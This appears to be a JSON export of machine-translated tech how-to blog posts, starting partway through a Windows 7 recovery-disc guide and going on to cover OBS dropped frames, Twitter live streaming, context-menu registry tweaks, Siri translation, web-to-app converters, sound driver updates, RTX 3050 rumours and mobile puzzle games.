folder.\n  Follow the prompts to create the disc or USB drive. The ISO file will be burned to the blank disc or copied to the USB drive. This may take a little while to complete. Once the process is finished, you'll have a fully-functional Windows 7 installation disc.\n Method 2of 2:\nCreating a Windows 7 Recovery Disc  Create a disc using the tool included by your computer's manufacturer. Major computer manufacturers such as HP, Dell, and Acer include programs in Windows that allow you to create recovery discs. If you built your own computer, or your manufacturer didn't include recovery disc creation tools, move on to the next step to make your own. HP/Compaq[1] Gather four blank DVD-/+R discs; you cannot use DVD-RW discs. You may not need all four. You can also use a USB drive with at least 16 GB of storage. Click the Start button and type \"recovery manager.\" Select \"Recovery Manager\" from the list of results. Click \"Recovery Media Creation\" in the right-hand menu in the Recovery Manager window. Select the media type that you want to create. You can select either DVD or USB drive. Once you select one, you will be shown how many DVDs or how large a USB drive you need. Follow the prompts to create the discs. If you are burning the recovery discs, you'll be prompted when to insert the next blank disc. Make sure you label the discs as you create them so you know which order they go in.  Dell Launch \"Dell DataSafe Local Backup\" from the \"Dell Data\" folder in the All Programs section of the Start menu. Click \"Backup\" and select \"Create Recovery Media.\" Select the media type you want to use. You can choose between blank DVDs or a USB drive. When you select one, you will be told how many discs you need or how large the USB drive will need to be. If using discs, you can use DVD+/-R, but not RW or DL. Follow the prompts to create your discs or USB drive. Label each of the discs as you create them so they don't get out of order.  Acer/Gateway[2] Open the \"Acer\" folder in the Start menu and select \"Acer eRecovery Management.\" Click the \"Backup\" option and select \"Create Factory Default Disc.\" Insert your first blank DVD+/-R. You will need two blank discs. You cannot use DVD+/-RW or DL. Follow the prompts to create the recovery discs. Label them so that they don't get out of order.    Download a Windows 7 ISO or insert a Windows 7 installation disc. In order to create your own disc that contains all of the drivers you need for your computer, you'll need either an ISO file for the Windows 7 installation disc, or an actual installation disc. You can download the Windows 7 ISO from Microsoft here. You'll need your product key in order to download it. See the first section of this article for details.   Copy the entire contents of the installation DVD or ISO file into a new folder on your hard drive. You can create a new folder on your desktop and then just select and drag all of the files from the disc or ISO into it. To open an ISO file, you'll need either 7-Zip (7-zip.org) or WinRAR (rarlab.com), both of which are free. Once installed, right-click on the ISO file and select \"Extract.\"[3]\n  Download and install the Windows Automated Installation Kit. This program is required in order to build your own Windows installation disc. You can download it for free from Microsoft here. The file is about 1.7 GB, so it may take a while to download.\n  Download and install NTLite. This program was designed by the Windows enthusiast community to make creating an installation disc much easier. You can download NTLite for free from nliteos.com. You can leave all of the installation settings at their defaults.[4]\n  Click the \"Add\" button in NTLite and select the folder you copied the Windows files into. You'll see your Windows 7 version appear in the \"Source list.\"\n  Double-click the Windows 7 version in the Source list. Convert the files into an image file if prompted. This will likely take a while to complete.\n  Select the \"Drivers\" section of the menu. NTLite allows you to incorporate drivers into the installation, so that you don't have to worry about reinstalling them after recovery. On the right side of the window, you'll see a list of all the drivers that will be automatically included. Make note of the drivers that say \"Missing.\"\n  Download all of the \"Missing\" drivers for your computer from the manufacturer's website. If you have the Premium version, you can simply import the drivers from your current computer by clicking \"Import host.\" For free users, you'll need to download the driver files from the manufacturer and include them manually. Visit the support page for your computer and search for your computer's model number. If you built the computer yourself, you'll need to visit the Support page for each of your components. Download all of the \"Missing\" driver files from the Drivers or Downloads section. Driver files may be in INF or EXE format. Place all of your downloaded files into a single folder.   Click the \"Add\" button in the \"Drivers\" section. Select \"Folder with multiple drivers\" and then browse for the folder that contains all of the driver files that you want to add to your installation. This will add all of the INF format files.\n  Select the \"Post-Setup\" section and click \"Add.\" Add all of the driver installers that came in EXE format. These installers will be run automatically once Windows Setup completes.\n  Decide if you want to automate the installation process (optional). If you want, you can use NTLite to automate the entire Windows Setup process. This will allow you to start the install and then let your custom installation do the rest. This is optional, and if you don't enable it your Windows installation will proceed normally. Click the \"Unattended\" section and then select \"Enable.\" Select each item in the list and then use the drop-down menu to the right to select your desired option. Click the \"Add local account\" option to have NTLite create accounts automatically as well. If you have the premium edition of NTLite, you can have it configure your disk partitions automatically as well.   Click the \"Apply\" section in the left menu. Once you are satisfied with all of your settings, this section will allow you to finalize the new recovery image.\n  Check the \"Create ISO\" box. You'll be prompted to give the new ISO file a name. This will automatically create the disc image file that you can burn after completing the process.\n  Click the \"Process\" button. This will begin building your new image file, including any drivers and automation. This will likely take 20 or so minutes to complete.\n  Right-click the completed ISO file and select \"Burn to Disc.\" Make sure that you have a blank DVD inserted in your burner. Windows will burn the ISO file to the disc, creating your custom recovery disc.\n  Samuel Daniel Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKudk6TDpr7YZpuiq5Nitq951qKlnaenqHp4\n","link":"/post/how-to-create-a-recovery-disc-in-windows-7/","section":"post","tags":null,"title":"How to Create a Recovery Disc in Windows 7"},{"body":"This guide covers all network-related tips, drop frames, and disconnections that you may apply. If you've tried everything in this guide (including replacing hardware) and still have trouble, the problem lies in the connection between you and whatever server you're trying to stream to. In this case, you will not be able to do anything to solve the problem as an end user and should contact your Internet service provider (ISP).\nAlso, please note that dropped frames are almost impossible due to OBS itself. This means that if you have just updated the software and found that the frames have been dropped, they are not related to OBS, even if you think so.\n\"Frame dropped\" means that your connection to the server is not stable or you cannot keep up with the set bitrate. For this reason, the program was forced to drop some video frames to make up for it. If you skip too many frames, you may be disconnected from the streaming server. Again, dropped frames are almost impossible to be caused by OBS itself. You may also have connectivity problems such as accidental disconnection due to firewalls, antivirus software, security software, routers, etc.\nThe following guide covers the most common solutions to these problems.\nDrop frame phenomenon and connection problems in OBS - Causes and solutions Try changing the server! Try reducing the bitrate! Do not stream over wireless networks! Try another streaming service (For testing only)! Check your firewall or router Check for Internet security software or antivirus Check the included network software Speed ​​test Update network adapter driver Try \"new network code\"! Check Bind to IP settings The router or network hardware has a problem Contact the ISP Try changing the server!   If you think the problem is not with the connection speed, the first thing you should do when trying to diagnose drop frame or disconnect is to try other servers, to see if the connection is more stable. . Sometimes the server you try to stream might be suspended or overloaded when you stream. Switching to another server will solve many problems related to drop frames and loss of connectivity.\nThe server you have chosen is \"closest\" or best for you, doesn't mean it will give you the best connection. In fact, there have been times when users in Europe have found that servers in the US are the most reliable for streaming. So try many different options, not just one or two servers, before you give up.\nNote for Twitch.tv users : You can use TwitchTest to find the server with the best bandwidth and maximum bitrate you can stream to that server. For best results, set the Duration to Medium and uncheck any areas you do not participate in. After commissioning, look for the server with the highest quality rating. If two or more servers are selected, use the server with the largest bitrate. Note that a quality score of at least 80 is the general standard for a stable stream.\nTry reducing the bitrate! The next thing to do is to reduce the bitrate until the frames stop dropping. Network conditions are not always the same from day to day and what yesterday's activity does not guarantee will work today. Sometimes, you can do nothing but reduce the bitrate to compensate for the poor connection at some point.\nDo not stream over wireless networks! In many cases, wireless connections can cause problems due to its instability. Stream really requires a stable connection. Normally, the wireless connection is okay, but if you have problems, it is difficult to diagnose the cause, if you use the wireless network. You should stream over wired connections.\nTry another streaming service (For testing only)!   It may be helpful to try another streaming service to make sure the problem does not occur with the provider you are using. For example, if you have trouble connecting to Twitch.tv, try streaming on YouTube.com or Hitbox.tv to see if you have the same problem. If the problem goes away, the problem may be with the streaming service. If the problem persists, then it is more likely that your connection is the real cause.\nCheck your firewall or router If you're disconnected and have tried other servers, one more thing to check is firewalls, routers and antivirus software. Make sure they do not interfere with the connection. If you suspect a problem with your firewall or router, make sure that the TCP port number is outbound 1935 (the default port is used for RTMP, but be aware that your service may use a different port). be allowed. Note that you do NOT need to use any kind of port-forwarding to stream.\nCheck for Internet security software or antivirus In some cases, antivirus software, firewalls or security software may be the cause of the problem. You can usually disable them temporarily or add an exception to obs32.exe / obs64.exe to check if that is the problem. If disabling them works, just add an exception for obs32.exe / obs64.exe to your antivirus software and then reactivate it. (The process for adding exceptions will be different. You need to find out from the vendor's website or Google how to do that. Remember to add exceptions for both 32-bit and 64-bit versions of OBS).\nCheck the included network software In rare cases, some software, drivers or programs claiming to \"optimize\" or \"enhance\" your network connection, can actually cause more problems. Try uninstalling any additional software or drivers related to your network card, in addition to the main driver that needs to be installed for Windows. Avoid using any \"optimization\" or \"tweak\" programs. Some network cards come with custom configuration utilities (most notably Killer Networks) that can cause problems and need to be removed.\nSpeed ​​test   Speed ​​tests are a very rough estimate - meaning they have very little to do with streaming. Just because a speed test shows that you have a upload speed of 5Mbps doesn't mean you can actually upload anything to a stable 5Mb / s. Sorry, that's not how the Internet works. You should never be guaranteed to maintain a stable connection with the server, if the server or its routing points to the server is unstable.\nA \"stable\" bitrate is more likely to determine about 70-75% of the \"estimated\" upload speed. A speed test will tell you the theoretical maximum speed that you can stream in perfect perfect condition, but real-life conditions are never perfect.\nUpdate network adapter driver In rare cases, dropped frames may be caused by old network adapter drivers working poorly while processing high speed. Checking for new drivers for your network adapter is not a bad idea.\nTry \"new network code\"! In the advanced settings of OBS Studio is an option to use the new network code. Enabling this feature makes OBS use event-based APIs instead of non-blocking sockets. Although technically this new code will work no different from the usual network code, some users have reported that it helps in resolving dropped frames or disconnection issues. other. The new network code also includes a detailed logging of network events that may help when you post a log file.\nCheck Bind to IP settings In Settings\u0026gt; Advanced , there is Bind to IP setting . In general, this setting should be left at the default ( Default ) and not changed unless you know exactly what you are doing and why you need to do so. Make sure the setting is correct (this usually means Default ). If you associate it with a specific IP address and then that IP address changes on your PC, OBS will not be able to connect to any service.\nThe router or network hardware has a problem   Defective hardware is quite rare, but if you suspect that your hardware is malfunctioning, plug it directly into the modem, bypassing the router, to check if that is the cause of the problem. If you have another network card (including a laptop or PC card), try plugging in the modem to check for network card problems on your streaming PC. Try using other types of Ethernet cables too.\nContact the ISP Finally, often Internet service providers (ISPs) often run maintenance or change everything on their side, causing service users to experience problems. If you have tried everything in this guide and none of them worked, you should call your ISP and explain the problem to them.\nBe specific, ie tell them exactly what you are trying to do (stream to a streaming service like Twitch or YouTube, etc.) and what's going on (connect not Stable and dropped packages). They will help you identify any problems. As mentioned above, OBS cannot be the direct cause of connection or drop frames.\nWishing you a successful troubleshooting!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqlvs6pZJ%2BqkaKybq3NnWScp56jsqTAyKilZqiipK%2BtscysZKKmXaSvtA%3D%3D\n","link":"/post/how-to-fix-drop-frame-and-connection-problems-in-obs/","section":"post","tags":null,"title":"How to fix drop frame and connection problems in OBS"},{"body":"Live stream on Twitter, play live video on Twitter is similar to when you stream live video on Instagram or live stream Facebook. Twitter is also currently a social network used by many people, so the live stream feature helps us connect with more people. While recording a live video, you can invite a friend to join, or add a location for that live broadcast. The following article will guide you how to broadcast live on Twitter.\nInstructions to live stream on Twitter Step 1:\nYou access the Twitter interface, then click the tweet icon . Then click on the camera icon and select Online mode . In this interface you can invite more participants if you want. Click Live \u0026nbsp;to begin.\n  Step 2:\nDisplay live video streaming interface on Twitter. We can write a comment if we like. Click on the 3-dot icon in the bottom corner to display the options menu as shown.\n  While live streaming on Twitter you can check the total number of people watching your online video , or you can draw on the screen using the Sketch Draw feature . The brush will slowly disappear.\nStep 3:\nTo stop the live stream, click the x icon at the top and select Stop broadcasting . You will then have the option to Edit the source .\n  In the editing interface we proceed to change the title for the video if desired, change the thumbnail. If there is a change, click Save below. In addition, when pressing the 3-dot icon there is an option to Delete the source to delete this online video.\n  Step 4:\nThe live video stream is posted to the Twitter account. In the video playback interface, click on the three dots icon , then select Share Source . You then choose to share the live video stream as a tweet, or send it to whom via direct message.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSZq7Juv9OrnJqlXaS7bsDWoqutnaI%3D\n","link":"/post/how-to-live-stream-on-twitter/","section":"post","tags":null,"title":"How to live stream on Twitter"},{"body":"Windows 10 launches provide many new features for users, graphics quality is also upgraded better than previous Windows versions. However, the more graphic effects the operations performed on Windows 10 will sometimes be slower, especially for those who install many software or tools on the computer.\nThe slow display of the right-click menu for Windows 10 computers is not uncommon. When we use the right-click menu on Taskbar, it will be 2-3 seconds slower than normal. This feels very uninteresting to users, even if the speed is not significant. In this article, Network Administrator will show you how to handle the right-click context menu on a Windows 10 computer.\nStep 1: Press the Win + R key combination to bring up the Run dialog box. Then, type regedit and click OK to access.\n  Step 2: The interface of the Registry Editor window appears. You follow the following directory path:\nHKEY_CLASSES_ROOT\u0026gt; Directory\u0026gt; Background\u0026gt; shellex\u0026gt; ContextMenuHandlers\n  Step 3: Clicking on the ContextMenuHandlers folder will bring up more subdirectories. There will be 1 of 3 important files:\nIgfxcui : if your system is using Intel Graphics Options driver . igfxDTCM : if your system is using Intel Graphics Properties driver . NvCplDesktopContext : if your system uses NVDIA graphics card .   Step 4: Next, we proceed to check the graphics driver on the system by right-clicking on This PC and selecting Properties .\n  The System window appears, click on Device Manager .\n  Step 5: In the Device Manager interface, navigate to the Display Adapters section to check the graphics card on the system.\n  Step 6: Back in the Registry Editor interface, we delete the file corresponding to the graphics driver on our computer system. Right-click and select Delete to finish.\n  Finally, go back to the computer screen and perform the right-click menu operations to check the results. If you have not seen any changes, please turn off the computer and reboot. Before doing so, we should also back up the Registry to avoid losing important folders.\nRefer to the following articles: 7 ways to do, customize in post will help your Windows 10 \"as fast as wind\" How to use the Reset feature on Windows 10 Ways to turn off your computer on Windows 10 I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqugmrKledSpZK2glWKxqr%2FPpZiyZZ%2BberO1xqGrnKSZmLhuucSnrKxln6N6uLXNnaawq11mfQ%3D%3D\n","link":"/post/how-to-speed-up-the-display-of-right-click-menus-on-windows-10/","section":"post","tags":null,"title":"How to speed up the display of right-click menus on Windows 10"},{"body":"Siri virtual assistant on iOS 11 is also provided with some new features, such as control by the content importer in addition to voice control. Or useful multilingual translation capabilities. For example, if you are traveling and want to ask for directions, then Siri will become your interpreter. Especially in this iOS 11 version, Siri virtual assistant also has the ability to understand the context better, help you give the correct words.\nBecause Siri is currently in the early stages of testing, Siri can only translate from English to some other languages ​​such as Chinese, French, Italian, German, Spanish, etc. How to set up the translation feature Word on Siri iOS 11 will be in the article below.\nStep 1: First we will proceed to set the default language on iPhone. Click on the Settings icon on the interface. Next, click on General . Then select the Language \u0026amp; Region option .\n   Step 2: Next click on the iPhone Language item. In the language list, users click on the language English (US) to switch the language for the device.\n   Then click Done in the upper right corner to save the changes. Next go to Change to English (US) to confirm the language change option for iPhone.\n   Step 3: After the user changes the language on the iPhone, we will proceed to customize Siri to translate the language. To activate Siri you need to press and hold the Home button or say Hey Siri to call the virtual assistant. After that, we can ask questions in English and then Siri will translate into other languages.\nFor example, the user controls Siri with the phrase \"How do I say Good Morning in French\". Soon after, Siri will answer us with the result in greeting in French.\nNote to users , broadcast the correct and accurate way so Siri can easily analyze the sentence, then switch to the source language and the target language you need.\nIn case you do not hear the language of Siri clearly, click on the play icon as shown below. We can also switch to another translation language if you want.\n   If Siri doesn't understand your question, we can change it by typing the question content. You need to start the Type to Siri feature on iOS 11 . How to turn on Siri control mode in writing, reference readers in the article How to turn on the mode to control content of Siri iOS 11. When entering the original sentence content in English, it is necessary to enter the correct grammar and spelling, so Siri can quickly translate the target to the user.\nAn extremely useful feature of Siri virtual assistant on iOS 11. You can translate any content from English to other languages ​​to use. Siri's ability to translate languages ​​is relatively accurate and fast. However, we need to read exactly the English sentence for Siri to work effectively.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0uMCtnGalkaPGbrjAp56umZeawG5xpGtccWhVbY9mkZFeb2ldaHe8r3nSoqmiZZmkwG59kA%3D%3D\n","link":"/post/how-to-translate-many-languages-on-siri-ios-11/","section":"post","tags":null,"title":"How to translate many languages ​​on Siri iOS 11"},{"body":"Today, every business needs to provide mobile applications for its products and services to attract and retain customers. Even desktop users prefer native apps rather than relying on a website to download more applications. Original applications are preferred over a website because no one likes to open and switch tabs at all.\nOriginal applications are quite expensive, but there is another method to create them almost for free. This method will \"consume\" a bit of time, but is quite effective in creating native applications for the site.\nTurn web pages into simple mobile and desktop applications with the following tools Prerequisites Desktop platform 1. Web2Desk 2. Applicationize  Mobile platform AppsGeyser  Prerequisites There are almost no prerequisites for making web page transformations into desktop and mobile applications. All you need is a web-connected computer because we will use online tools to create applications for the website.\nHowever, please note that you must scan all downloaded files from the web for viruses. You can use any antivirus software installed on your computer or use an online tool.\nFor example, VirusTotal.com is a free online tool to scan files quickly using known malware and malware removal tools.\n  Desktop platform First of all, create applications for desktop platforms - Windows, macOS, Linux and Chrome OS. These applications will be placed in the format corresponding to each platform (eg '.exe' for Windows).\nHowever, the application will not create the installer, instead the compressed file of the application. Then, you can find and run the executable file in it.\n1. Web2Desk Web2Desk is an easy tool to convert web pages into desktop applications. Web2Desk allows you to convert any website into native application packages for Windows, macOS and Linux. In addition, Web2Desk does the job very quickly. Your application was created within minutes. Follow the steps below to create a native Windows application using Web2Desk:\n1. Open https://desktop.appmaker.xyz/ in the web browser.\n2. When you see the tool there, enter the website address, website name, logo and email in the corresponding fields in the given form.\n  3. Finally, click Create Now button to create original applications for the desktop.\n4. Web2Desk will show you the progress bars to create packages for all three supported platforms - Windows, macOS and Linux. When the process is successfully created for a certain platform, you can click the Download Now button .\n  \n5. After you download the file, you can extract and run the executable file. For example, you need to run the .exe file in Windows.\n  That's all you need to do to create an application for Windows quickly, using the online tool called Web2Desk. As mentioned above, please check all downloaded files using a reliable antivirus tool.\n2. Applicationize In addition, you can create an application for Google Chrome and launch it with the browser itself, on Windows, macOS, Linux and Chrome OS platforms. Applicationize is a free tool for creating applications directly from websites. Applicationize creates an application for Google Chrome (also works in Chrome OS) that acts as a shell for the website. What many people like about Google Chrome applications is that they work just like the original apps, when they appear in the launcher (Windows' Start menu).\nNow, we will start converting a website into an application for Google Chrome. Please follow the steps below to create an extension as an application with Applicationize:\n1. Open https://applicationize.me/now in the browser.\n2. Enter the website address into the text box named WEB APP URL .\n  3. Click the advanced options section below the text box, if you want to check and configure some additional settings to create extensions.\n  4. Finally, click Generate button \u0026amp; Download Chrome Extension to download the application (as an extension) for Chrome OS.\n5. Applicationize will create and activate the download version of the application. When the file with the name ends with .crx is downloaded, you can drag and drop the extension into Chrome Extensions (enter chrome: // extensions / in the browser to open). The browser will install the website application.\n  6. Finally, open Apps in Chrome (enter chrome: // apps / in the browser). You will see the application of the website there - just click to open it.\n  7. Finally, you will see the application open and running.\nRemember to check the downloaded extension file ( .crx file in this case) with antivirus software before installing or sharing with someone.\nMobile platform Next, we will learn how to create applications for Android mobile platforms (not iOS). Unfortunately, there is no application maker that converts web pages into apps for iOS at a cost of 0. Just like desktop platforms, these applications will be packaged in the native format of the platform. platform, for example .apk for Android.\nNote : The website must be mobile-friendly or responsive to operate as a mobile application. If the design of the website is not suitable for small screens, the mobile application will not work as expected on a mobile device. If you are unsure, you can check the site's friendliness with a mobile device or make it mobile-friendly with the right tools.\nAppsGeyser AppsGeyser is a great tool for creating mobile apps. AppsGeyser provides many templates to create different types of applications, including website templates to create mobile applications for websites. You will feel familiar using AppsGeyser, thanks to its intuitive interface and the ability to quickly create applications.\nAlthough creating applications for Android using AppsGeyser is completely free, but exporting an application to Google Play Store is not. Of course, you can export your app to other free markets, such as Aptoide and GetJar. In addition, you can also store your application (.apk file) on the website.\nWhen ready to create the app, please follow the steps below:\n1. Open https://www.appsgeyser.com/ in the browser.\n2. Click the CREATE NOW button FOR FREE to start the process.\n3. Select the web template from the list displayed inside the CREATE APP section .\n  \n4. Enter the website address in the Website URL field and click the GO button . After that, please wait for AppsGeyser to download website data.\n5. Now, you can click on the mobile pop-up window, shown on the right, to see the preview of the application and click Refresh preview to reload.\n  6. You can choose a color theme for the application and configure other tabs (Blog and Twitter), in case you want to keep them in your application. Or you can delete them by using REMOVE TAB to keep the website only.\n7. After completing these changes, please click the NEXT button .\n8. Then, enter a name for the application, then click NEXT. Next, enter a description for the application and press the NEXT button again.\n9. Then, choose the default or customized icon for the application and click NEXT. If you choose a custom icon, you must upload an icon for the application.\n  10. Finally, click the CREATE button . You will be asked to register or login, then AppsGeyser will display an option to edit the application. You can click the Edit button to make other customizations.\n11. When done, click on the DASHBOARD option on the left and scroll down to the section called Download your App . Click the DOWNLOAD button to download the application.\n  Again, you must verify the content of this file by checking it through antivirus software.\nAbove is all you need to know about creating mobile applications directly from a website. As mentioned above, it is impossible to find any tool to convert a website into a free iOS app. If you know such an online tool, please share it with everyone in the comment section below!\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7turYywnJurmamybrXNraZmmV2ZsrS306inZpmemXquu8Gio55lkaW9rbXCmquip54%3D\n","link":"/post/how-to-turn-a-website-into-a-desktop-and-mobile-application/","section":"post","tags":null,"title":"How to turn a website into a desktop and mobile application"},{"body":" If the sound on your Windows computer suddenly stops working, you may need to update your sound card, or sound card driver. Sound cards are designed to process and distribute your computer's sound information to audio devices, such as...\nMethod 1of 4:\nManually Updating your Windows Vista Sound Card  Navigate to 'System.' Click on the 'Start' button. This button is typically located in the lower left corner of your screen. Scan the menu for 'Control Panel' and click on the button. Double click on the icon or tab labeled 'System.'[1]\n  Navigate to 'Sound, Video, and Game Controllers' tab. Within the 'System' section, locate the tab, icon, or button labeled 'Hardware' and click. Find and click on the tab, icon, or button labeled 'Device Manager. Once the device manager has loaded, click on the icon labeled 'Sound, Video, and Game Controllers.' When you click on 'Device Manager,' you may be required to enter your administrator password.[2]   Locate and update your sound card drivers. Within the 'Sound, Video, and Game Controllers' tab, find and double-click on the item the correlates to your sound card. Click on the tab listed as 'Driver.' Select 'Update Driver Software' and follow the directions given by the Update Driver Software Wizard.[3]\n Method 2of 4:\nManually Updating your Windows XP Sound Card  Navigate to 'System.' Locate the 'Start' button in the lower left corner of your screen. Click on the 'Start' button. Click on the tab labeled 'Control Panel.' Next, double click on the icon or tab labeled 'System.'[4]\n  Navigate to the 'Sound, Video, and Game Controllers' tab. Search within the 'System' menu for the 'Hardware' tab. Click the 'Hardware' tab once. Locate and click on the 'Sound, Video, and Game Controllers' tab to expand this section.[5]\n  Update the sound card driver. Click twice on the 'Sound Card' tab. Click the 'Driver' tab once. Select 'Update Driver.' Follow the steps provided by the Hardware Update Wizard.[6]\n Method 3of 4:\nAccessing the Sound Card in an Alternative Way  Navigate to 'Hardware and Sound.' Click on the start button, which you may find in the bottom left corner of your computer screen. Locate and click on the tab labeled 'Control Panel.' Within the 'Control Panel' menu find and click on 'Hardware and Sound.'[7]\n  Navigate to the 'Device Manager' tab. Under the 'Hardware and Sound' menu, find the section labeled 'Device and Printer.' Directly underneath the 'Device and Printer' section is a subsection labeled 'Device Manager.' Click on 'Device Manager.'[8]\n  Update your Sound Card. Find the section listed as 'Sound, Video, and Game Controllers.' Click on the text to expand the tab. Locate the subsection that contains 'Sound Card' in its title. Right-click on your sound driver and select 'Update Driver Software. Choose 'Search for Updates.' If any updates are available, select the update and follow the process laid out by the Update Wizard.[9]\n Method 4of 4:\nAutomatically Update your Sound Card  Select a software program. Instead of manually updating your sound drivers, you can download a program that will automatically identify the drivers that require updates and provide you with the most up-to-date update on the market. Conduct a quick internet search using words such as 'sound driver,' 'sound card,' 'driver,' 'update software,' and or 'free.' Peruse the results and select the program that you are most comfortable using.[10]\n  Download the software and scan for updates. Your driver update program may require you to follow these initial steps. Click on the 'Free Scan' button or icon. Download the required software. Once the download is complete, click 'Scan Now.' Patiently wait for the scan to finish.[11]   Assess the results and update your sound card. After completing the free scan, you will receive data on all of your drivers. Scroll down to the 'Sound, Video, and Game Controllers' section of the data set. Search for any indication that your sound card is in need of an update. If your sound card is out of date, click on the equivalent to an 'Update Now' icon or text and follow the instructions provided. Look for and use the provided key to help you interpret the data.[12]   Samuel Daniel Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2gma61sYyspq6mlGKxs7XVnqms\n","link":"/post/how-to-update-sound-drivers/","section":"post","tags":null,"title":"How to Update Sound Drivers"},{"body":"The previous rumors about the RTX 3050 are actually quite outdated at the moment. Information about this promising graphics card model has in fact been around since January of this year. But for some reason (or several) that only NVIDIA knows, the launch plan has been postponed for now, and is expected to continue to 'delay'.\nHowever, over time, rumors about the RTX 3050 have also had updates. According to the latest share from blogger Kopite7Kimim, the RTX 3050 Ti will have a GA106-150 GPU, while the RTX 3050 variant will usually have a GA107-350 GPU. In particular, the GeForce RTX 3050 is said to offer higher performance than the GeForce GTX 1660 SUPER, but still lower than the 12GB RTX 2060 model expected to launch next month.\nThis means that the GeForce RTX 3050 will not be positioned by NVIDIA to compete with the Radeon RX 6600 series, but instead the rumored RX 6500XT to launch in the first quarter of 2022. But not only that. , the competition promises to become more attractive with the participation of Intel Arc A128, which is also expected to launch in the first half of 2022, but a little later than the two names mentioned above.\n  What all of these GPU models have in common is their performance goal, which is to handle the way a regular 1080p/e-sport game does. This is a segment where the market demand is quite high, but it is a bit \"missed\" and therefore has been somewhat forgotten in recent times. Below is a table comparing the specifications of the GeForce RTX 3050,Radeon RX 6600, and Arc A128, based on the information currently available:\nWhat all of these GPU models have in common is their performance goal, which is to handle the way a regular 1080p/e-sport game does. This is a segment where the market demand is quite high, but it is a bit \"missed\" and therefore has been somewhat forgotten in recent times. Below is a table comparing the specifications of the GeForce RTX 3050,Radeon RX 6600, and Arc A128, based on the information currently available:\n \u0026nbsp; GeForce RTX 3050/Ti Radeon RX 6500 XT Intel Arc A128   GPU GA106-150 Navi 24 XT DG2-128   Core FP32 3072 (?) 1024 1024   Memory Unknown 4 GB GDDR6 6 GB GDDR6   Memory bus Unknown 64-bit 96-bit   Release time Q2 2022 Q1 2022 Q2 2022   The RTX 3050 is not the only new model that NVIDIA plans to launch in 2022. Besides that, there are also notable names in the upper segment such as RTX 3090 Ti, RTX 3080 12GB and RTX 3070 Ti 16GB, all of which are expected to launch early next year. The chart below lists SKU numbers and codes (some of which have never been mentioned before), thereby providing a glimpse of the products mentioned above.\n \u0026nbsp; RTX 3090 Ti RTX 3080 12GB RTX 3070 Ti 16GB RTX 3050 RTX 2060 12GB   Release time January 2022 January 2022 January 2022 Q2 2022 December 2021   Model PG136 SKU 05 PG132 SKU 25 PG141 SKU 14 PG190 SKU 70 PG161 SKU 64   GPU GA102-350-A1 GA-102-220-A1 GA104-401-A1 GA106-150-A1 TU106-300-Kx-A1   CUDA Core 10752 Unknown 6144 3072 (?) 1920   Memory 24GB GDDR6X 12GB GDDR6X 16GB GDDR6X Unknown 12GB GDDR6   Obviously at the present time, the source of authentic information is still very limited. But the reappearance of the RTX 3050 is something to look forward to for NVIDIA fans. After all, this time NVIDIA will have to plan carefully, because they will compete with not one but two opponents, all very formidable.\nncG1vNJzZmismaXArq3KnmWcp51ku7e1w6KYZp%2BVm7yzr8Rmqa2wXWh9dnyMsKClpF2Xsm65zqucZqifrLKzstSlZK2gkaN6qMDXZmhvbmBiwLa8xKtknrCgmrC1scNmq6hlnJbCr6%2FHZqCnZWJlf3M%3D\n","link":"/post/nvidia-geforce-rtx-3050-will-be-more-powerful-than-gtx-1660-super-expected-to-launch-in-2022/","section":"post","tags":null,"title":"NVIDIA GeForce RTX 3050 will be more powerful than GTX 1660 SUPER, expected to launch in 2022"},{"body":"In the article below, let's explore 10 great puzzle games on your phone that you should try once.\n1. Monument Valley   Monument Valley is one of the rare titles that has won many awards and received quite positive reviews from users (4.8* on Google Play and 4.9* on the App Store). With cute 3D graphics and unique, creative gameplay that has attracted players from the first levels.\nGame download link for Android here. Link download this game on iOS here. 2. Lara Croft GO   Lara Croft - the main character in the hit game series Tomb Raider was selected by developer Square Enix as the content for the attractive puzzle game Lara Croft GO. In the game, players must devise strategies to bring Lara Croft to the finish line, avoid or defeat enemies, and complete the set objectives of the level to gain the highest score and rating.\nGame download link for Android here. Game download link for iOS here. 3. Hitman GO   Besides the attractive Lara Croft Go game, Hitman Go is also one of the highly appreciated works in the puzzle game genre. In the game, players transform into agent 47 - the main character in the Hitman game series with the task of assassinating targets and avoiding detection. The game allows players to create unique ways to defeat opponents such as triggering a crash, an explosion or poison to kill the opponent.\nGame download link for Android here. Game download link for iOS here. 4. Angry Birds 2   Angry Birds used to be the best game on iOS and one of the favorite games for gamers of all ages. Part 2 takes players to the adventure of Red and his friends defeating the green pigs with a plot to steal the birds' eggs. Part 2 is more upgraded in terms of graphics, sound and new levels of difficulty that promise to bring players moments of quality entertainment on your smartphone.\nGame download link for Android here. Link download this game on iOS here. 5. Candy Crush Saga   Candy Crush Saga - the candy ranking game that once stormed the game charts and became one of the most played games on the phone. In addition, you can link your Facebook account and compete with your friends on the way to conquer the highest rank.\nGame download link for Android here. Link download this game on iOS here. 6. Cut the Rope   Cut the Rope simply asks the person to cut the rope but how to make the candy reach the mouth of the green frog at the bottom. To win many stars in each level, you also have to align and calculate so that when cutting the rope, the candy must touch the stars before reaching the mouth of the green frog. With cute graphics and gentle gameplay to keep you entertained after stressful working hours.\nGame download link for Android here. Game download link for iOS here. 7. Gardenscapes   Gardenscapes - the game that used to make users fascinated by attractive ads on ads in other applications. However, the game is simple with a pretty good storyline and some interesting mini-games like helping Austin choose a situational solution or playing a fruit stacking game.\nLink download the game for Android here. Game download link for iOS here. 8. Toy Blast   Toy Blast has simple and addictive gameplay, you can use one hand to play this game easily. To win this game, you need to find and touch the colored blocks next to each other and how to push the toys to the bottom is through the game screen.\nGame download link for Android here. Game download link for iOS here. 9. Lily's Garden   Lily's Garden with eye-catching, cute graphics when drawing players into interesting puzzles and minigames. The plot in the game is also appreciated when players have to go through challenges and play the legendary \"brick\" game to overcome.\nGame download link for Android here. Game download link for iOS here. 10. Seabeard   Seabeard is likened to a Farmville game that was once \"hot\" with a pirate style. In the game, players can freely explore the land and visit friends in the small village. Collect gold, items that will give players advantages later and make your journey easier.\nGame download link for Android here. Game download link for iOS here. With puzzle games on your phone, it will bring you \"spiritual food\" that is both useful and relaxing. 